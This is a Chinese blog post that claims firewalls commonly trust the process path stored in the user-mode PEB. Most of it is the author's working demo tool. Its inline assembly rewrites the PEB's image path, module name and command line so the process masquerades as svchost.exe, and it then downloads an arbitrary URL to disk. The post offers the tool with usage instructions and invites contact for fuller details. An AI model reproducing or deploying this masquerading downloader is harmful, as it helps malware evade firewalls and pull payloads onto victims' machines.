防火墙普遍存在的设计缺陷--关于进程路径的获取

作者:RonCha
主页:http://blog.csdn.net/RonCha/
当程序访问网络时,一般情况下防火墙都会获取到程序的路径,并提示用户。
问题就出在获取程序路径的方法,一般的防火墙程序都是直接在ring3下获取这些信息,也就是说防火墙程序获取的这些信息,基本上是程序的PEB中存放的信息。如果我们修改了程序的PEB中相关的路径的信息的话,把程序修改伪装为系统进程的路径的话,防火墙就无法正确识别了。

DEMO代码如下,如需更完整的信息请与我联系:

//  fuckdown.cpp : Defines the entry point for the console application.
//
//   [9/19/2006 RonCha]
#include  " stdafx.h "
#include 
< urlmon.h >
#pragma  comment(lib,"urlmon.lib")

char  szpath[MAX_PATH] = {0} ;
OLECHAR path[MAX_PATH]
= {0} ;


void  ChangPath();

int  main( int  argc,  char *  argv[])
{

    
//修改路径
    ChangPath();
    
if (argc==3)
    
{
         
if (argv[1]!="" && argv[2]!="")
         
{
            HRESULT hRet
=URLDownloadToFileA(NULL,argv[1],argv[2],NULL,NULL);
            
if(hRet==S_OK)
                printf(
" Down Success! ");
            
else
                printf(
" Can't down the file! ");
            
return 1;
         }

    }

    printf(
"Author:RonCha ");
    printf(
"Web:http://blog.csdn.net/RonCha ");
    printf(
"Usage:fuckdown.exe downurl savepath ");
    
return 0;
}


void  ChangPath()
{
    
//将该进程伪装为svchost.exe
    int slen;
    slen
=GetSystemDirectory(szpath,MAX_PATH);
    slen
=GetSystemDirectory(szpath,slen);
    lstrcat(szpath,
"/svchost.exe");
    
//转化为Unicode字符
    MultiByteToWideChar(CP_ACP,NULL,szpath,-1,path,MAX_PATH);
    __asm
    
{            
            MOV EAX, fs:[30h]            
//get the PEB address
            MOV EAX, [EAX+0xC]             //_PEB_LDR_DATA
            MOV EAX, [EAX+0xC]             //InLoadOrderModuleList
            lea ebx,path
            mov WORD ptr[EAX
+0x24],0x60  //FullDllName->Length
            mov [EAX+0x28],ebx             //FullDllName->Buffer
            MOV EAX, fs:[30h]
            mov EAX,[EAX
+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS 
            lea EAX,[EAX+0x3c]             //_RTL_USER_PROCESS_PARAMETERS ->ImagePathName->Buffer
            lea ebx,path
            mov [eax],ebx                 
//ImagePathName->Buffer
            mov WORD ptr[eax-4],0x60     //ImagePathName->Length
            MOV EAX, fs:[30h]
            mov EAX,[EAX
+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS 
            lea eax,[EAX+0x44]             //_RTL_USER_PROCESS_PARAMETERS -> CommandLine->Buffer
            lea ebx,path
            mov [eax],ebx                
//CommandLine-->Buffer
            mov WORD ptr[eax-4],0x60    //CommandLine-->Length
    }

}

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值